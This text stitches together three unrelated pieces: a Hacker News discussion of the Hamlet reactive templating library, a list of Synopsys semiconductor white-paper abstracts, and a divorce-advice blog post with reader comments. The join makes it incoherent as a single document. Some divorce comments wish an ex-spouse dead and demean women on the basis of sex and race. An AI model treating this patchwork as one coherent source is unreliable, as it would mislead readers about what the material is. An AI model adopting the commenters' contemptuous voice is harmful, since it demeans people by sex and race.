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Hamlet – Simple and powerful reactive templating - Yahivin
http://hamlet.coffee/
======
chenglou
Comparing your CoffeeScript example against a vanilla JS React example seems
cheap. here's the front page React example in CS:
converter = new Showdown.converter()
MarkdownEditor = React.createClass
getInitialState: () -> value: 'Type some *markdown* here!'
handleChange: (e) -> @setState(value: e.target.value)
render: () ->
d = React.DOM
d.div(
d.h3(null, 'Input'),
d.textarea(onChange: @handleChange, value: @state.value),
d.h3(null, 'Output'),
d.div(dangerouslySetInnerHTML: __html: converter.makeHtml(@state.value))
)
React.renderComponent MarkdownEditor(), document.querySelector('.container')
Showing a LOC comparison (and not even from the same dialect of a language)
isn't a good proof for what you're trying to demonstrate. Clarity, simplicity,
and debuggability all count. Removing a few extra lines of (non-boilerplate)
code compared to React doesn't make the library simpler to work with.
~~~
mdiebolt
I thought about that when constructing the demo but opted to use the JSX /
plain JavaScript version because that's what's displayed on the React
homepage.
We have a strong preference for Haml and CoffeeScript dialects so that's how
we present our demos. I built jsfiddles based on how each framework presented
their own product.
~~~
chenglou
It is indeed displayed on the front page, in vanilla JS, but that doesn't
change the fact that it's not a very accurate comparison, providing that the
point you're trying to prove is LOC. The React version also showcased
attributes such as `className`, which Hamlet didn't. Nothing against
CoffeeScript; just picking on the comparison itself.
Also, React is a view library, not a full-stack framework. The fact that it's
put on the same level as other real JS frameworks is an acknowledgment of its
paradigm's power and usefulness. So I guess people viewing it as a framework
is a misleading but very telling phenomenon.
That being said, good luck with the project!
------
Tyr42
Oh, I thought this was the already existing Hamlet language.
Of which there are at least two.
[http://www.yesodweb.com/book/shakespearean-
templates](http://www.yesodweb.com/book/shakespearean-templates)
[https://github.com/gregwebs/hamlet.rb](https://github.com/gregwebs/hamlet.rb)
It does look pretty cool though.
~~~
Grothendieck
Actually, at least one: the Ruby version is just a port from Haskell and has
the same syntax.
~~~
Tyr42
Oh, shoot, I googled for the Haskell one, and saw the other one on the way. I
should have read about two more lines, and I would have got it.
In my defence, I always thought the main feature of Hamlet is the static
checking of everything, and solving the escaping problem (at compile time!),
so I didn't even entertain the idea that someone would port it to Ruby.
------
chriswarbo
An unfortunate choice of name. When I saw the title, I thought it was on about
[https://hackage.haskell.org/package/hamlet](https://hackage.haskell.org/package/hamlet)
~~~
Yahivin
It's a popular play!
~~~
dllthomas
And contains H, T, M, and L.
------
bradgessler
We use hamlc and Backbone.js in our stack. This lib looks like it will
simplify a lot of that.
I have a few questions:
1\. Its interesting to see JS events specified in the template (e.g.
`%a(onclick=@doSomething)`). Is there a way to specify that in the JS/model?
2\. Does "Observable" mean that the value is updated when the model changes,
when the DOM changes, or both? Could all of the attributes of the object
passed into the template be observable by default or would that incur a
significant performance penalty?
~~~
Yahivin
For point one, it is specified in the model. @doSomething would invoke the
model's doSomething function. The template just names it.
As to point two, observable provides a bi-directional binding so that changes
to the value are reflected in the DOM and changes in the DOM are reflected in
the model.
The observable interface is essentially a jQuery style getter/setter method
that allows for observers to be notified of changes.
~~~
klibertp
When is the DOM updated? Are the changes performed as soon as they are
observed or are they queued? Does Hamlet implement some kind of "virtual DOM"
for diffing or does it sync DOM and model directly?
Looks very nice, just this weekend I looked at some frontend frameworks,
including Vue, Mithrill, Ractive and React and found some issues with them
all. Hamlet would fit my use case very well, I think. One thing I'd like is
more technical details on the main page - not how it "looks like" compared to
other frameworks, but how it does its thing (compared to other frameworks).
~~~
Yahivin
The current implementation performs changes immediately. There is no virtual
DOM, as soon as a change occurs the model is update and vice versa.
The Observable component invokes the callback to all listeners immediately
when its value is changed. I find this makes testing and debugging somewhat
easier than async callbacks or nextTick.
~~~
bradgessler
How does observable wrap values? I see a few things:
list = Observable []
list.push 'blah'
and
isOrange = Observable false
isOrange = true // This obviously doesn't work this way...
Do you poll the value? Or do you check the type of the value and wrap/proxy
methods that would normally change the value?
~~~
Yahivin
When Observable is declared with a type (especially an array) it sets up some
wrapped methods to simplify working with it.
The wrappers also set up automatic dependency resolution so you can do cool
things like:
list = Observable []
reversed = Observable ->
list.map reverse
list.push 'blah'
reversed() # => ['halb']
There's no polling, the observable notifies all observers immediately when the
value changes.
~~~
bradgessler
What about simple types, like the `false` value example above? Is there a
`set` and `get` method?
~~~
mdiebolt
You'd use a jQuery style setter.
isOrange(false)
------
peterhunt
> Avoid working with over-engineered frameworks without sacrificing a great
> interactive experience
This is a pretty lame claim seeing as text fields are busted in Hamlet. [1]
This is another example of a "lightweight" library that hasn't hit any of the
hard problems yet. It's fine if you make this your personal project to learn
from, but trying to convince people to bet their projects on unproven
technology is pretty disingenuous.
[1] Inserting characters does not work in the second example at
[http://hamlet.coffee/garden/](http://hamlet.coffee/garden/)
~~~
CanSpice
All of those examples work for me with Chrome 35.
One thing I would love on HN is the reluctance to say something is "lame"
because one example doesn't work for one person on one browser. Instead of
being dismissive, why not be constructive? Or if you can't even do that, just
don't post?
~~~
peterhunt
If you look at my posting history you'll see that I tend to agree with your
sentiment. Too much negativity on HN and I combat it where I can.
But "lightweight" JS fetishism at the expense of correctness (and the
arrogance that comes with it!) is an epidemic in the frontend web business
today. I think it's important to highlight this when it happens so we can stop
making crappy web apps and start to actually deliver reasonable experiences
when compared to native.
Also here is a video of the bug:
[http://www.petehunt.net/hamlet.mov](http://www.petehunt.net/hamlet.mov)
~~~
jonahx
I see the bug too on Chrome 35 on a Mac.
That said, and with lots of respect for your work on React Pete, and also
acknowledging that React is probably the simplest of the big frameworks, the
love of minimalism and simplicity comes from a very real need and attempts to
fulfill that need shouldn't be dismissed as toy projects. From what I can
tell, Mithril, for example, is anything but that.
I think people really really like being able to jump into something that can
be useful and played with based on a few examples, and to model things with
POJOs. I agree correctness shouldn't be sacrificed, but it doesn't have to be.
~~~
peterhunt
Totally agree. If someone comes up with a simpler way to do it and proves it
out on a few projects of real complexity, then I think it's great.
My complaint is you see a lot of upstart projects pulling mindshare when the
reason they're simple is either a matter of personal preference or a lack of
essential complexity. Hamlet was an easy target because cursor position
management is a great example of essential complexity and they made pretty
aggro claims on their site about how over-engineered everything else is.
------
cfitzhugh
I've really enjoyed ractive. Simple to learn, with mustaches, and it has
worked really well for our project. No extra compile steps. Figured I'd share
since I see alot of buzz around React and other things, and preferred
ractive.js when I researched it a little bit ago.
~~~
Yahivin
Wow, I hadn't heard of Ractive before. It looks quite similar in approach and
also really cool.
------
zeekay
Would be extremely appealing if it borrowed more inspiration from Jade than
Haml.
~~~
Yahivin
I actually agree! I started with haml because it's what I knew best at the
time.
The parser is separate from the compiler and the runtime, so it should be
simple enough to add a jadelet, anglet, or any other simple style of adapter.
If there is a lot of interest in a jade focused style or haml is a turn off
for many people then it will become a priority for us.
~~~
lobo_tuerto
You should checkout slim too, it's just a better haml.
[http://slim-lang.com/](http://slim-lang.com/)
------
smrtinsert
Reactivity is becoming an imperative. The browser of the future will let us
code in a reactive language instead of forcing non reactive html or js on us.
I'd love to see something simple for other languages and platforms as well.
I love that it seems to not be tied to node out of the box as well.
~~~
Yahivin
Yeah, it's only taken us 50 years :)
One of our goals was for Hamlet to be suitable for really small and simple web
apps, without any big framework or ecosystem. There's still a lot of work for
us to do on the ease of getting started (both with or without node) so if you
run into trouble or have any comments let us know.
~~~
smrtinsert
Will do, and great job.
------
Smudge
Got this JS alert: "This website abuses rawgit.com. You should complain to its
owner."
~~~
Yahivin
It looks like one of the JS fiddle examples we found for our demos wasn't up
to our regular standards. We're looking into it.
------
mquandalle
This looks to be a great declarative/reactive template engine. I've been
working mostly with the Meteor Blaze template engine the last few months. Both
of them use a "normal" template language for writing views and (potentially)
let you choose if you prefer writing your templates in Handlebars, Jade, or
Haml [0], which I find far more easy to use than React JSX format. I think
Blaze beats Hamlet on the runtime rendering engine.
First, Blaze does not require to set a root element in a template, which could
be a source of bugs with Hamlet because for instance the `each` child is a
template, here is a snippet of problematic example from the Hamlet README:
- each @items, ->
.first
.second
This works perfectly fine in Blaze. IIRC Blaze uses comments node on the DOM
that are never rendered in browsers in order to define some "domrange" that
keep track of n children in a single parent group.
The second runtime issue in Hamlet appears when a third-party library directly
modifies the DOM, without telling the template engine. Basically the
modification will be erased on the next template redraw which make this system
incompatible with all jQuery plugins for instance. Blaze has "fined grained
DOM updates" which mean that the modification of a single element in a
template does not require to touch any other node in the DOM. For instance if
you have a each loop of inputs, and the user start to enter some data in one
input field, and for some reason the template is redrawn the text will stay in
the input with Blaze, but will be erased with Hamlet.
Blaze also support reactive SVG (I'm not sure if Hamlet supports it but I
haven't seen any particular mention in the code).
I think all of these features can be implemented in Hamlet drawing on Blaze
and ReactJS runtimes.
Nevertheless I find the Javascript model declaration cleaner in Hamlet than in
Blaze or Backbone or React. The only thing I'm not sure about is writing the
js events in the template and not in the model, I actually like having all
events of a given template in a single place but I don't have strong opinion
on this.
[0]: Meteor support Spacebars (which is quite similar to Handlebars) by
default
[https://github.com/meteor/meteor/blob/devel/packages/spaceba...](https://github.com/meteor/meteor/blob/devel/packages/spacebars/README.md),
and there is also a package for jade [https://github.com/mquandalle/meteor-
jade](https://github.com/mquandalle/meteor-jade) (disclaimer: I'm the author).
It also seems that it wouldn't be difficult to support other languages than
Haml for Hamlet.
~~~
Yahivin
That issue about requiring a root item should be solvable in the future, it's
just the current implementation that has limitations. I'm building up the test
suite to specify the behavior and hope to have it working soon.
For the most part jQuery plugins should work fine with Hamlet, so long as one
remembers to update the data in the model rather than arbitrarily throughout
the DOM. It can be a moderate mental shift to go from jQuery style "The DOM is
the data" to the newer Backbone, Knockout, React, Angular, etc style of "The
model is the data" and may not be right for all applications.
Thanks for the comment I'll take a look at Meteor Blaze and see what cool
tricks it has :)
~~~
mquandalle
The problem is that most _current_ jQuery plugins modify the DOM. If someone
want to use a jQuery carousel, the plugin will add arrows buttons and page
indicators in the DOM. Then if the template engine updates one of the carousel
slide, these nodes will be removed and the plugin will be broken.
~~~
Yahivin
My advice for that kind of application would be to have a piecemeal approach.
Use Hamlet for some templates on your page, and jQuery plugins for others. I
hope it's modular enough to use as little or as much as you like.
------
krick
I'm more intrigued by the domain name. Why there even exists 1st level domain
"coffee"?
------
coherentpony
Oh wow, people are actually using these new TLDs.
~~~
mdiebolt
It's pretty awesome to be able to host CoffeeScript OSS projects on a .coffee
TLD
------
jonahx
@Yahivin, I'd love to hear your thoughts on Mithril. Have you used it?
~~~
Yahivin
I hadn't seen Mithrill before, but from checking it out now it looks like it
has a lot in common: small runtime, trying to be as close to plain JS and DOM
as possible, and safety by default.
I'm not sure if it provides as much magic as Hamlet's auto-dependencies and
template syntax, but those do have costs and tradeoffs.
I would like to see an interactive demo on the site so I could get to know it
better by messing around.
------
bmcmaste
Looks really interesting. Any plans for a Rails Gem?
~~~
Yahivin
Yes, we plan to create or assist the creation of drop in solutions for Rails,
Sinatra, and popular node frameworks, priority based on interest, volunteers,
and whoever demands it the loudest.
------
toisanji
its too bad this is made for coffescript, i would have liked to see it for
regular javascript.
~~~
Yahivin
It does work with regular JS though we present our examples in CoffeeScript.
------
notastartup
What's wrong with just using jQuery? what's the rational for using a reactive
solution?
~~~
Yahivin
Say you're building a color picker with three text fields for R, G, B, and a
swatch that displays the resulting color.
You could do it in jQuery, but plumbing all the update code for each input
would be kind of a chore. If you get a new source of input (say from the
network) you'd have to remember to resync everything. To keep it simple you'd
probably have to respond to `something changed` -> `update everything`.
Reactive templates would only update the elements dependent on that change.
With a reactive solution you make a model that contains observable RGB values
and a function to compute the final color. Once you bind that model to your
view everything stays in sync like magic.
|
The growth in internet traffic is impacting how cloud and carrier data center operators design their compute and data networking architectures. To meet the application demands for scale-out servers and networks, designers are implementing virtual environments such as Network Function Virtualization (NFV) to achieve higher efficiency and lower the cost and time of deploying the new applications. This paper discusses how using the right IP accelerates the implementation of SoCs used in NFV systems.Ron DiGiuseppe, Senior Strategic Marketing Manager, Synopsys
This white paper outlines the latest networking trends across some of the key market sectors including automotive, the connected home and data centers, and explains how Ethernet is relevant to each. It also explains how Synopsys responds to its customers’ needs to develop and offer configurable semiconductor IP that enables system-on-chip (SoC) design teams to quickly and reliably implement Ethernet-based digital controllers and physical layers. John A. Swanson, Ethernet Product Line Manager, Synopsys
This white paper will explore the issues facing SoC designers as they address SoC complexity and time-to-market challenges. It will discuss the use of third-party IP while noting that high-quality IP alone is not enough to accelerate time-to-market with today’s SoC complexity. The paper will also discuss issues around driver software development for the IP. Finally, it will review the five major development steps in any SoC design and how third-party IP providers should be expected to help accelerate each of these steps.Dr. Johannes Stahl, Director of Prototyping Product Marketing, Synopsys, Inc.
USB’s ease-of-use and wide availability is belied by USB IP designers’ technical innovations. Without these innovations, USB could not be enabled in a broad range of process technologies ranging from 180-nm to the latest 14/16-nm FinFET technologies. This white paper addresses the five critical challenges facing designers of USB IP who need to keep pace with the process technology changes as well as the USB standard evolution.Gervais Fong, Sr. USB Product Marketing Manager, Synopsys
Network virtualization technologies running over optimized Ethernet IP are enabling cloud computing data centers to expand and support the growing amount of internet traffic. Hyperscale cloud data centers are driving requirements for new network overlay protocols such as Virtual Extensible LAN (VXLAN) running over Ethernet. This whitepaper discusses in detail the benefits of VXLAN and how it can be used to overcome network subnet limits as well as the impact of VXLAN to Ethernet IP implementations. It will also describe how IP supporting VXLAN enables a new class of SoCs optimized for next-generation network virtualization.Ron DIGiuseppe, Sr. Strategic Marketing Manager, Synopsys
Smaller process geometries and higher Double Data Rate (DDR) Dynamic Random Access Memory (DRAM) interface speeds are driving demand for new and more robust techniques for preventing, repairing and detecting memory errors. Some of these techniques are enabled by features in the latest DDR4 and DDR3 RDIMM standards, and others can be applied to any DRAM type. Collectively these techniques improve the Reliability, Availability, and Serviceability (RAS) of the computing system that adopts them. This white paper reviews some of the ways that errors can occur in the DDR DRAM memory subsystem and discusses current and future methods of improving RAS in the presence of these errors.Marc Greenberg, Product Marketing Director, DDR Controllers, Synopsys, Inc.
USB-IF Worldwide Developers Days introduced developers to the new USB 3.1 specification. On the surface, USB 3.1 seems like it could be only an update to 10G speeds, but this white paper will dig deeper into 10G USB 3.1 to clarify the evolutionary and revolutionary changes in the USB 3.1 specification. USB 3.1 introduces a new 10 Gbps signaling rate in addition to the 5 Gbps signaling rate defined in the USB 3.0 specification. Morten Christiansen, Technical Marketing Manager, USB IP, Synopsys; Eric Huang, Product Marketing Manager, USB IP, Synopsys
With an install base of over 3 billion devices worldwide1, HDMI has become the de facto multimedia interface for all digital home and mobile multimedia devices. To offer consumers the ultimate home theater experience, SoC designers must understand the new features offered by HDMI 2.0, as well as additional features that will drive the adoption of HDMI in industrial, office, and gaming applications.
This white paper describes the HDMI 2.0 specification and compares the new revision of the HDMI specification with the previous versions, HDMI 1.3 and HDMI 1.4. It explains how HDMI 2.0 will almost double the bandwidth from 10.2 Gbps to 18 Gbps to offer 4K video formats at 60 Hz frame rate for an ultra-high definition (ultra-HD) experience on digital TVs. It discusses additional features, such as CEC 2.0, 21:9 frame formats, multi-view video, and HDCP 2.2 for digital rights management. Finally, it will explain HDMI 2.0’s impact on new markets and applications.Manmeet Walia, Product Marketing Manager, Synopsys Inc.; Luis Laranjeira, R&D Manager, Synopsys Inc.
The read reorder buffer (RRB) is a silicon-proven architectural enhancement available in DesignWare uMCTL and uMCTL2 DDR memory controller IP products. This white paper will explain the concept of the read reorder buffer and explain how a read reorder buffer can improve memory bandwidth. It then concludes with experimental results showing how DRAM controllers with different architectures can achieve vastly different DRAM bus utilizations of 10%, 66%, or 100% from the same input traffic stream, depending on whether the architecture has no RRB, an RRB with external scheduling, or an RRB with content-addressable memory (CAM)-based scheduling.Marc Greenberg, Product Marketing Director, DDR Controllers, Synopsys
In this case study, it was discussed how DesignWare IP was leveraged, including USB 2.0 host, USB 2.0 Hi-Speed OTG, Ethernet Controller and SATA, to meet key requirements of IP integration, verification and synthesis to complete a successful design in a short design cycle. The results are highlighted, discussing the issues and the methodology that can be used to achieve the most out of these DesignWare IP solutions, resulting in a reduced SoC design cycle.Vijay Kumar Mathur, ST Microelectronics; Gaurav Bhatnagar, ST Microelectronics; Rohitaswa Bhattacharya, ST Microelectronics
As designers look to their next-generation network designs, they are faced with a set of new challenges when developing products that incorporate the common Ethernet interface. To maintain Ethernet as a dominate and long-lasting network interface, the latest IEEE updates, which are targeted at improving networking systems' Quality-of-Service, will be critical to meet the demands of the consumer. Lokesh Kabra, Senior R&D, Manager, Synopsys, Inc.; John A. Swanson, Senior Staff, Marketing Manager, Synopsys, Inc.
Software is a critical component for the development of USB-based designs. In efforts to start software development early and to make it as productive as possible, design teams are often utilizing virtual and FPGA prototypes for software development prior to silicon. This white paper describes how virtual prototype use models for hardware/software verification and the integration of the LeCroy analyzer software into Synopsys' DesignWare SuperSpeed USB verification environments help solve SuperSpeed USB IP development challenges.Frank Schirrmeister, Director, Product Marketing; Tri Nguyen, R&D Engineer, Synopsys, Inc.
This paper provides an introduction to the general concepts of virtualization and I/O virtualization (IOV). It also discusses how IOV is addressed within the PCI Express sepcification and how to support IOV with an existing PCIe interface. Additional topics include: Single-Root IOV, Function Level Reset, Alternative Routing ID and Address Translation Services. Scott Knowlton, Sr. Product Marketing Manager, Synopsys, Inc.
This whitepaper provides a comparison between the USB 3.0 and USB 2.0 standards, highlighting the new capabilities and advancements that have been made with this next-generation SuperSpeed USB standard including: performance, cables and connectors, power efficiency, USB model differences, hardware and software functionality, new protocol layers and streaming.Dr. Robert Lefferts, R&D Director, Synopsys, Inc.; Subramaniam Aravindhan, R&D Manager, Synopsys, Inc.
Explore the basic concepts behind HDMI, the markets it serves and its leadership role in multimedia interfaces. In addition, this paper provides a tutorial on the new capabilities of HDMI 1.4 and its role in providing a richer, more straightforward user experience. Example case studies are also presented to illustrate how the HDMI Ethernet and Audio Return Channel (HEAC) feature simplifies cabling requirements. Manmeet Walia, Product Marketing Manager, Synopsys, Inc.
This whitepaper describes how to configure and connect the DesignWare® SATA AHCI IP core to the DesignWare SATA PHY in a multi-port AHB-based configuration. It provides an analysis of the expected throughput on each port based on assumed system parameters. The intent of this paper is to enable users to take this example and insert actual system parameters to come up with a performance estimate. Bjorn Widerstrom, Corporate Applications Engineer, Synopsys, Inc.
Emerging from a host of competing technologies, DDR2 and DDR3 SDRAM ("DDR") have become the dominant off-chip memory storage solution for SoC designs. Unfortunately, many SoC designers are unfamiliar with the realities of the DRAM standards, typical DRAM applications and the DRAM market. This paper presents ten guiding principles for embedded DDR interfaces, many of which the DRAM standards and vendor data sheets do not explain.Graham Allan, Sr. Product Marketing Manager, Synopsys, Inc.
By using IP, SoC designers can easily incorporate an HDMI interface in leading edge process technologies such as 90 nanometer (nm), 65 nm and 40 nm processes. This eliminates the need for a separate IC, delivering significant power and cost savings. This paper provides an overview of HDMI standard , how it’s different from other digital video connections and the advantage of incorporating it into your SoC. Luis Laranjeira, Sr. R&D Manager, Synopsys, Inc.
With power consumption and small form factors key issues, SoC designers must consider new requirements imposed by smaller technology nodes, especially for the USB PHY. This paper provides insights into dealing with these issues and profiles the USB IP offerings available from Synopsys.Gervais Fong, Product Marketing Manager, Synopsys, Inc.;
Eric Huang, Product Marketing Manager, Synopsys, Inc.
PCI Express® - or PCIe® - is a high performance, high bandwidth serial communications interconnect standard that has been devised by the Peripheral Component Interconnect Special Interest Group (PCI-SIG) to replace bus-based communication architectures, such as PCI, PCI Extended (PCI-X) and the accelerated graphics port (AGP). The objective of this white paper is to equip the reader with a broad understanding of the PCI Express standard, and the design challenges associated with implementing the PCI Express interface into an SoC. Scott Knowlton, Product Marketing Manager, Synopsys, Inc. |
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But what about how people think? Part of coping with divorce is sometimes telling ourselves things that will soothe our pain and make us feel better about our situation, our decisions and our actions. Some self-talk is positive and will truly help in coping with divorce, but sometimes divorced women and men lie to themselves, which is never good. Here are 20 lies divorced women and men tell themselves, and my response (of course.)
1. I could care less what happens to my ex. Yes, you do. You will always care until the day you die.
2. I hate when I’m not with my kids. You don’t hate it all the time. Sometimes you welcome the break. Being alone offers reprieve from stress. Don’t feel guilty if you enjoy your time without your kids. Doing nice things for yourself and having some life enjoyment that doesn’t involve your kids makes you a better parent.
3. I don’t want to meet anyone and I’m never getting married again. Yes, you do and yes, you might. You’re saying this to protect yourself because you are afraid that you might never meet anyone. You wouldn’t be human if you didn’t care about finding love.
4. I know my ex will regret this someday. Not trying to be a jerk, but no, he or she probably won’t. Accept it. It doesn’t really matter.
5. When I was married, I was really happy or When I was married, I was really miserable. When you were married, you were both. You were happy at times, so don’t be afraid to remember those times, and you were miserable at times. Remember that too. It will reinforce the fact that you needed to be divorced.
6. Everyone knows the divorce was his/her fault. For as many people who are telling you it was his/her fault, there are that many people telling him or her it was yours. Get over it. Who cares what people think!
7. My attorney really hates my ex. He or she has to say that because you are paying him or her.
8. Even if I could find a way, I’d never be interested in checking out my ex’s profile on dating sites or on facebook. Of course you are curious. That’s only natural. Just don’t become a stalker or spend too much time on it. Move on!
10. The thought of having sex with my ex is repulsive. Hmm…I guess this one depends on the situation. If he abused you, or if she cheated on you, yes, it probably is. If he or she is the slightest bit nice to you, you might have moments when you remember how cute he or she was.
11. The thought of having sex with another man/woman is repulsive. Really? I don’t think so. It just takes time. You will eventually meet or see some guy or girl who will make your heart stop and you will remember that you liked sex.
12. My kids are going to grow up and realize what he or she did to me. They probably will, but they will still love both their parents unconditionally, and that’s actually a good thing.
13. I know how to stay away from dysfunctional relationships. When people get divorced, they are vulnerable to getting into bad relationships. I’m not judging. I did it. Just realize what the relationship is, and DON’T MARRY THE PERSON!
14. My life is really messed up, thanks to him or her. Stop feeling sorry for yourself and fix your life yourself.
15. I love my new life. It’s okay to say, “this sucks.” We all know you aren’t blissful at the moment. You WILL love your life. But it takes time.
16. If I could just meet someone, I know my life would fall into place. Reverse that. Work on your life, career, kids, hobbies, yourself. When that falls into place, you will meet someone.
17. My ex’s girlfriend is hideous looking. She is not! She’s adorable and you know it. That’s okay. Did you expect your ex to date a dog??
18. My ex is really jealous of the guy I’m dating. Sorry. He just isn’t. Why do you need him to be? You don’t.
19. My wedding day was the best day of my life. No it wasn’t. Otherwise, you’d still be married. Don’t be afraid to see what you didn’t see back then.
20. I don’t care what other people think about me getting divorced. Yes, you do. But you shouldn’t.
Editor-in-chief: Jackie Pilossoph
James
Hi Jackie
As a guy going through seperation after 10 years marriage I agree with all of them although some of the last I am not at the point in the seperation where that has happened yet.
For anyone going through this your brain is remarkable in pulling the wool over your eyes. It almost takes a concious effort not to fall into the lies above. You will definately still think them but just realise they arent true. And remember even though your ex may have some awful things to say about why you split up it comes from a place of guilt and hurt similar to the place you are in. Some or all of it may be true but remember it is equally your ex justifying the split to themselves and they are just as capable of lying to themselves as you are. Its not always about you .
Q.
This is the biggest load of bull*@!# gathered in one single place I’ve ever read! Not only does it suppose far too much, but it greatly deminishes the damage of divorce. Divorce is the single greatest cause of the decay our society today. Divorce is a hiddeous cancer and it is literally ripping our entire civilization to pieces one broken family at a time. Divorce = a fate far worse than death. It’s a special kind of hell, and it’s forever.
Insidious_Sid
Q, you’re spot on. There is much out there that encourages people (women especially) to divorce. The damage is minimalized and being divorced / getting divorced is passed off as being “something everybody does now”. Well, I have to encourage my own children never to get married in this kind of climate, especially my son who little than ever to gain and more than ever too lose. More men are opting out of marriage completely and I say good for them!
Barb
Heartbroken
I feel you completely my husband of 27 years just told me he loves me deeply but not the way a man should love a woman. That was October then in December he told me he’s in love with his girlfriend of one year when he was 15 to 16. He wants a divorce and plan to live with this woman. I never knew anything two weeks before telling me these things he was sending me love songs and telling me he couldn’t wait to spend the rest of his life with me.
Fred
Dude, take a pill. The fact that people can leave relationships that aren’t working out isn’t the greatest cause of decay in our society. It’s a fire exit. It really sucks if you need to use it, but if you don’t it’s going to be a hell of a lot worse.
Divorce is not a fate worse than death. For example, I am divorced. I started my day with a run by the river, and then met my girlfriend for brunch. After that, I went to the movies and then had a long call with my Dad about nothing before having a beer. It’s been a pretty good day so far. I haven’t been dead before, so I can’t say definitively, but just going out on a limb, I’d say this is not a fate worse than death.
Sorry she left you, Captain Happy. Can’t imagine why. You seem like a barrel of laughs.
Fred
Hey Bob. One son, 18 months old at the time of the split.
The negotiations were pretty tough, she did some lashing out in the process and yeah, my son was weaponized to a degree. Also lost a ton of money, if it matters. She didn’t threaten to leave my son with me, and in fact if anything it more went the way of threatening alienation. If she would have had plausible grounds to just outright prevent a relationship with him, I question whether she would have threatened that card. But, there weren’t any grounds, I was well represented, and I did everything I could to conduct myself responsibly before, during, and after the divorce process. The best offense is a good defense, which is being responsible, honest, humble, sharp, honorable and humane. Including treating my Ex with kindness and respect, and trying to remember that this is someone that I once pledged my life to and meant it. Of course, I was scrupulous about being fair to myself and being assertive (but not hostile) about it. 100% recognize that may not work on every Ex. Granted, my phone can ring in an hour and I can get a dose of crazy (although unlikely, she’s moving on too), but I’ll eventually be able to hang up the phone and won’t be going home to that and I have new friends and great girlfriend to lean on if I need support.
But, it’s not about who I left or what happened in the process. It’s about moving on to the life that opens up after that and the fact that it’s better than the one I left. I still need to interact with her from time to time due to our son, and things have cooled to a more businesslike relationship. Mainly because she’s the custodial parent, so I generally give her a lot of deference on her judgment calls and I’ve continued to act respectfully and responsibly. Again, understand that may not work on every Ex. But, hey if she’s that bad, you’re WAY better off divorced from her than living under the same roof and dealing with that every day, no?
Good luck, Bob.
PS unrelated tangent–#19 doesn’t fit me. The wedding day was the best day of my life, hands down and if there were any day in my life I could re-live, it would be that one one hundred times over. We just ran out of good days a few years later.
Leonard Perez
U were right on almost all of the lies we tell ourselves after divorce. In my case I had a real bad drug and alcohol problem which led to cheating. Since then I went to rehab approaching a yr clean and sober. We’ve been divorced almost 2 yrs and the pain is more real than ever I continue 2 support my ex wife and boy’s. Which places me second financial.
Bob
Leonard, that burden doesn’t belong to you. You dont need to support shit. You were doing drugs because you probably couldn’t deal with the fact you married and had kids with someone that was emotionally and spiritually shallow. Drug abuse doesnt just happen in a vacuum. There was some prompting. The fact that you must put yourself 2nd financially is complete bullshit. That’s an old societal bullshit pressure thing to make you feel guilty or shameful… its nonsese. Dont accept that collective guilt or shame…. complete bullshit. Especially supporting your ex! For what? She is able to make money for herself. Sounds loke you didnt hire an attorney. If you did, you picked the wrong one.
pjay
Complete nonsense. The world would be a better place if my psychotic ex were 6 feet under. And the divorce was entirely her fault.
Your generation seems intent on preserving a flawed, dead institution – it’s beyond idiotic. I prefer my sons never get married, and they already have a window seat at the train wrecks that so many young women have become.
It’s an Eat Pray Love culture, and moron white women have sprayed their narcissism all over it.
Samurai
I am with you.
After the 4yrs of marriage she had cheat on me with other guy.
Worst thing is They cheat their a way to happiness.nothing I could do about it.
Meanwhile I paying for house mortgage, car loan,insurance,healthcare and all other bills while we were married.
All the son in this world.
Don’t get married. Don’t sign legal paper. Trust me its not worst to you..
Sensei
S
Sad to read some of these comments, I’m mid-divorce and really hope that everything they’ve witnessed and experienced in the last couple of years doesn’t put my girls off men or marriage, and I tell them as such – there are good marriages that do last, not all relationships end up like this.
Kenny
What I don’t understand if you and your spouse both know what you did wrong why not do better for you and your kids why just quit. And why try to make your kids think one of you were the reason it happened
Danny
If it were as simple as knowing what someone did wrong, it usually wouldn’t get that far. Half the battle is usually understanding what is going wrong, and many times that is a fiendishly difficult thing to answer. Particularly because the answer is subject to change. Even if it does get figured out (it isn’t always a mystery), what if someone won’t change? What if Dad is a drunken, negligent failure? What if Mom is an emasculating, rageaholic and refuses to seek help and only gets even more furious whenever anyone tries to tell her that she has a problem? What if someone is a serial cheater? Or is abusive to the kids?
As for staying together for the kids, it’s better for them to be from a broken home than in one. Kids get by with divorced parents all the time. To be sure, it’s very tough for them particularly while the process is going on. But, after the smoke clears, everybody is able to heal. Maybe not heal everything, but get to a happier place than they would have been in a dysfunctional home. Many times people will use their kids as excuses to avoid hard decisions. It does them no favors.
Not everything lasts forever. I had a beautiful 5 year marriage and the best years of my life were with my Ex. I am more grateful than words can express for that time together. But, we were making each other absolutely miserable, and we just couldn’t make each other happy anymore. We divorced while our son was still very young and we’re both very involved. We’ve even become friends again.
Are there still wounds? Absolutely. Would we be happy or even civil with each other if we stayed together? I don’t have a crystal ball, but it seems pretty easy to say no, we would not. And, we’re both happy again and our son is also happy.
superchicken
My ex went dating site crazy over 70guys in under 6yrzi divorced her she had done the cheating game for all of our25 yrhell my son is the only kid stile home and he wants nothing to do with her I got all the stuff she barely got visiting rights she is still fight in court 6 months later my 15 yr old won’t see her so I’m fighting for his wellbeing I’m getting talked to by her lawyer relreal bad and it’s very expensive but what am I to do my son asked me to protect him 50,000 dollars later on a visitation hearing we’re still fighting unfortunately and I can’t stand to even be around her anymore
CCC
Divorce sucks. I did a lot of the wrong things in my marriage and don’t blame her for leaving. I own it. I do wish however she stayed to see my transformation and give us another chance. I hate that we can’t be together as a family with the kids. I hate some other male figure will be in my kids lives. But I did it and own it. At least I am becoming a better person as a result #getcleanandsober
Jackie Pilossoph
Queen
Divorce is a part of our world. We determine how we would like to cope with this and teach our children in the process. Accountability and therapy are likely to go a long way. Lets spend more time reflecting, growing and healing rather than blaming. Your site is wonderful!
Sonya
Divorce is part of our world unfortunately. I feel that sometimes people give up too quickly and sometimes they stay too long. I’m not sure if divorce is in general better for the children. In some instances it is, but sometimes it is not. Sometimes the dysfunction only gets worse with divorce. The fighting more severe. It depends on how it is handled. On paper, it sounds so simple. Be cooperative and keep the children’s best interests at heart. But, everyone needs to be on the same page for that to happen. Sometimes that doesn’t happen. Especially when new partners are thrown in the mix. It’s hard. Life is messy. We do our best. Sometimes we put our best foot forward and sometimes we regret our actions. It’s human. All we can do is try to do better one step at a time.
Klaudia
I admire moms who are so strong and keep going moving on their life with kids even though is not easy. I find some points true to my situation after 2 divorces and with my lovely 3 kids. Number 15 rocks!
Lisa
